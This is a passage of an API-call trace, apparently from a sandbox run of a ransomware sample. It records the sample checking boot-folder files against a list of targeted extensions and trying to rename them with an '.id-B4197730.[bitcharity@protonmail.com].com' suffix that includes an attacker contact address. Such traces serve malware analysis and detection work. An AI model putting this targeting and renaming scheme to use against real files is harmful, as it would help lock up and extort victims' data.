[0142.492] lstrlenW (lpString=".bz2") returned 4 [0142.492] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0142.492] lstrlenW (lpString=".7z") returned 3 [0142.492] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0142.492] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0142.492] lstrlenW (lpString=".dbf") returned 4 [0142.492] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0142.492] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0142.492] lstrlenW (lpString=".1cd") returned 4 [0142.492] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0142.492] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0142.492] lstrlenW (lpString=".jpg") returned 4 [0142.492] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0142.492] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0142.492] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0142.492] lstrlenW (lpString=".doc") returned 4 [0142.492] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0142.492] lstrlenW (lpString=".docx") returned 5 [0142.492] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0142.492] lstrlenW (lpString=".pdf") returned 4 [0142.492] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0142.492] lstrlenW (lpString=".xls") returned 4 [0142.492] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0142.492] lstrlenW (lpString=".xlsx") returned 5 [0142.492] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0142.492] lstrlenW (lpString=".ppt") returned 4 [0142.492] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0142.493] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0142.493] lstrlenW (lpString=".zip") returned 4 [0142.493] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0142.493] lstrlenW (lpString=".rar") returned 4 [0142.493] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0142.493] lstrlenW (lpString=".bz2") returned 4 [0142.493] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0142.493] lstrlenW (lpString=".7z") returned 3 [0142.493] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0142.493] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0142.493] lstrlenW (lpString=".dbf") returned 4 [0142.493] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0142.493] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0142.493] lstrlenW (lpString=".1cd") returned 4 [0142.493] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0142.493] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0142.493] lstrlenW (lpString=".jpg") returned 4 [0142.493] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0142.493] lstrcmpiW (lpString1=".ttf", lpString2=".com") returned 1 [0142.493] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0142.493] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.860] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=1985867) returned 1 [0143.860] CloseHandle (hObject=0x1038) returned 1 [0143.860] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0143.860] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.862] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0143.866] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0143.866] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0143.866] lstrlenW (lpString=".doc") returned 4 [0143.866] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0143.866] lstrlenW (lpString=".docx") returned 5 [0143.866] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0143.866] lstrlenW (lpString=".pdf") returned 4 [0143.866] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0143.866] lstrlenW (lpString=".xls") returned 4 [0143.866] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0143.866] lstrlenW (lpString=".xlsx") returned 5 [0143.866] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0143.866] lstrlenW (lpString=".ppt") returned 4 [0143.866] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0143.866] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0143.866] lstrlenW (lpString=".zip") returned 4 [0143.866] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0143.866] lstrlenW (lpString=".rar") returned 4 [0143.866] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0143.866] lstrlenW (lpString=".bz2") returned 4 [0143.866] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0143.866] lstrlenW (lpString=".7z") returned 3 [0143.866] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0143.866] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0143.866] lstrlenW (lpString=".dbf") returned 4 [0143.867] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0143.867] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0143.867] lstrlenW (lpString=".1cd") returned 4 [0143.867] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0143.867] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0143.867] lstrlenW (lpString=".jpg") returned 4 [0143.867] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0143.867] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0143.867] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0143.867] lstrlenW (lpString=".doc") returned 4 [0143.867] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0143.867] lstrlenW (lpString=".docx") returned 5 [0143.867] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0143.867] lstrlenW (lpString=".pdf") returned 4 [0143.867] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0143.867] lstrlenW (lpString=".xls") returned 4 [0143.867] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0143.867] lstrlenW (lpString=".xlsx") returned 5 [0143.867] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0143.867] lstrlenW (lpString=".ppt") returned 4 [0143.867] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0143.867] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0143.867] lstrlenW (lpString=".zip") returned 4 [0143.867] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0143.867] lstrlenW (lpString=".rar") returned 4 [0143.867] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0143.867] lstrlenW (lpString=".bz2") returned 4 [0143.867] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0143.867] lstrlenW (lpString=".7z") returned 3 [0143.867] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0143.867] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0143.867] lstrlenW (lpString=".dbf") returned 4 [0143.867] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0143.867] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0143.867] lstrlenW (lpString=".1cd") returned 4 [0143.867] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0143.868] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0143.868] lstrlenW (lpString=".jpg") returned 4 [0143.868] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0143.868] lstrcmpiW (lpString1=".ttf", lpString2=".com") returned 1 [0143.868] lstrlenW (lpString="msyhn_boot.ttf") returned 14 [0143.868] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.869] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=154427) returned 1 [0143.869] CloseHandle (hObject=0x1038) returned 1 [0143.869] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0143.869] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.869] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.869] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0143.869] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0143.869] lstrlenW (lpString=".doc") returned 4 [0143.869] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0143.869] lstrlenW (lpString=".docx") returned 5 [0143.869] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0143.869] lstrlenW (lpString=".pdf") returned 4 [0143.869] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0143.869] lstrlenW (lpString=".xls") returned 4 [0143.869] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0143.869] lstrlenW (lpString=".xlsx") returned 5 [0143.869] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0143.869] lstrlenW (lpString=".ppt") returned 4 [0143.869] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0143.869] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0143.869] lstrlenW (lpString=".zip") returned 4 [0143.869] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0143.869] lstrlenW (lpString=".rar") returned 4 [0143.869] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0143.869] lstrlenW (lpString=".bz2") returned 4 [0143.869] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0143.869] lstrlenW (lpString=".7z") returned 3 [0143.869] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0143.869] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0143.870] lstrlenW (lpString=".dbf") returned 4 [0143.870] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0143.870] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0143.870] lstrlenW (lpString=".1cd") returned 4 [0143.870] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0143.870] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0143.870] lstrlenW (lpString=".jpg") returned 4 [0143.870] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0143.870] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0143.870] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0143.870] lstrlenW (lpString=".doc") returned 4 [0143.870] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0143.870] lstrlenW (lpString=".docx") returned 5 [0143.870] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0143.870] lstrlenW (lpString=".pdf") returned 4 [0143.870] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0143.870] lstrlenW (lpString=".xls") returned 4 [0143.870] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0143.870] lstrlenW (lpString=".xlsx") returned 5 [0143.870] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0143.870] lstrlenW (lpString=".ppt") returned 4 [0143.870] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0143.870] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0143.870] lstrlenW (lpString=".zip") returned 4 [0143.870] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0143.870] lstrlenW (lpString=".rar") returned 4 [0143.870] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0143.870] lstrlenW (lpString=".bz2") returned 4 [0143.870] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0143.870] lstrlenW (lpString=".7z") returned 3 [0143.870] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0143.870] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0143.870] lstrlenW (lpString=".dbf") returned 4 [0143.871] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0143.871] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0143.871] lstrlenW (lpString=".1cd") returned 4 [0143.871] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0143.871] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0143.871] lstrlenW (lpString=".jpg") returned 4 [0143.871] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0143.871] lstrcmpiW (lpString1=".ttf", lpString2=".com") returned 1 [0143.871] lstrlenW (lpString="msyh_boot.ttf") returned 13 [0143.871] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.871] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=156245) returned 1 [0143.871] CloseHandle (hObject=0x1038) returned 1 [0143.871] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0143.872] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.872] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.872] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0143.873] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0143.873] lstrlenW (lpString=".doc") returned 4 [0143.873] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0143.873] lstrlenW (lpString=".docx") returned 5 [0143.873] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0143.873] lstrlenW (lpString=".pdf") returned 4 [0143.873] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0143.873] lstrlenW (lpString=".xls") returned 4 [0143.873] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0143.873] lstrlenW (lpString=".xlsx") returned 5 [0143.873] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0143.873] lstrlenW (lpString=".ppt") returned 4 [0143.873] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0143.873] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0143.873] lstrlenW (lpString=".zip") returned 4 [0143.873] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0143.873] lstrlenW (lpString=".rar") returned 4 [0143.873] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0143.873] lstrlenW (lpString=".bz2") returned 4 [0143.873] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0143.873] lstrlenW (lpString=".7z") returned 3 [0143.873] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0143.873] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0143.873] lstrlenW (lpString=".dbf") returned 4 [0143.873] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0143.873] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0143.873] lstrlenW (lpString=".1cd") returned 4 [0143.873] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0143.873] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0143.873] lstrlenW (lpString=".jpg") returned 4 [0143.873] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0143.873] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0143.873] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0143.873] lstrlenW (lpString=".doc") returned 4 [0143.873] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0143.873] lstrlenW (lpString=".docx") returned 5 [0143.874] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0143.874] lstrlenW (lpString=".pdf") returned 4 [0143.874] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0143.874] lstrlenW (lpString=".xls") returned 4 [0143.874] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0143.874] lstrlenW (lpString=".xlsx") returned 5 [0143.874] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0143.874] lstrlenW (lpString=".ppt") returned 4 [0143.874] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0143.874] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0143.874] lstrlenW (lpString=".zip") returned 4 [0143.874] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0143.874] lstrlenW (lpString=".rar") returned 4 [0143.874] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0143.874] lstrlenW (lpString=".bz2") returned 4 [0143.874] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0143.874] lstrlenW (lpString=".7z") returned 3 [0143.874] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0143.874] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0143.874] lstrlenW (lpString=".dbf") returned 4 [0143.874] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0143.874] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0143.874] lstrlenW (lpString=".1cd") returned 4 [0143.874] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0143.874] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0143.874] lstrlenW (lpString=".jpg") returned 4 [0143.874] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0143.874] lstrcmpiW (lpString1=".ttf", lpString2=".com") returned 1 [0143.874] lstrlenW (lpString="segmono_boot.ttf") returned 16 [0143.874] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.875] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=44859) returned 1 [0143.875] CloseHandle (hObject=0x1038) returned 1 [0143.876] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0143.876] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.876] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.876] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0143.876] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0143.876] lstrlenW (lpString=".doc") returned 4 [0143.876] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0143.876] lstrlenW (lpString=".docx") returned 5 [0143.876] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0143.876] lstrlenW (lpString=".pdf") returned 4 [0143.876] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0143.876] lstrlenW (lpString=".xls") returned 4 [0143.876] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0143.876] lstrlenW (lpString=".xlsx") returned 5 [0143.876] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0143.876] lstrlenW (lpString=".ppt") returned 4 [0143.876] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0143.877] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0143.877] lstrlenW (lpString=".zip") returned 4 [0143.877] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0143.877] lstrlenW (lpString=".rar") returned 4 [0143.877] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0143.877] lstrlenW (lpString=".bz2") returned 4 [0143.877] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0143.877] lstrlenW (lpString=".7z") returned 3 [0143.877] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0143.877] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0143.877] lstrlenW (lpString=".dbf") returned 4 [0143.877] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0143.877] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0143.877] lstrlenW (lpString=".1cd") returned 4 [0143.877] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0143.877] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0143.877] lstrlenW (lpString=".jpg") returned 4 [0143.877] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0143.877] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0143.877] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0143.877] lstrlenW (lpString=".doc") returned 4 [0143.877] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0143.877] lstrlenW (lpString=".docx") returned 5 [0143.877] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0143.877] lstrlenW (lpString=".pdf") returned 4 [0143.877] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0143.877] lstrlenW (lpString=".xls") returned 4 [0143.877] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0143.877] lstrlenW (lpString=".xlsx") returned 5 [0143.877] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0143.877] lstrlenW (lpString=".ppt") returned 4 [0143.877] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0143.877] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0143.877] lstrlenW (lpString=".zip") returned 4 [0143.877] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0143.877] lstrlenW (lpString=".rar") returned 4 [0143.878] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0143.878] lstrlenW (lpString=".bz2") returned 4 [0143.878] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0143.878] lstrlenW (lpString=".7z") returned 3 [0143.878] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0143.878] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0143.878] lstrlenW (lpString=".dbf") returned 4 [0143.878] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0143.878] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0143.878] lstrlenW (lpString=".1cd") returned 4 [0143.878] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0143.878] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0143.878] lstrlenW (lpString=".jpg") returned 4 [0143.878] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0143.878] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0143.878] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0143.878] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.878] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=79200) returned 1 [0143.878] CloseHandle (hObject=0x1038) returned 1 [0143.878] GetFileAttributesW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0143.878] GetFileAttributesW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.878] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.879] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0143.879] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0143.879] lstrlenW (lpString=".doc") returned 4 [0143.879] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0143.879] lstrlenW (lpString=".docx") returned 5 [0143.879] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0143.879] lstrlenW (lpString=".pdf") returned 4 [0143.879] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0143.879] lstrlenW (lpString=".xls") returned 4 [0143.879] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0143.879] lstrlenW (lpString=".xlsx") returned 5 [0143.879] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0143.879] lstrlenW (lpString=".ppt") returned 4 [0143.879] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0143.879] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0143.879] 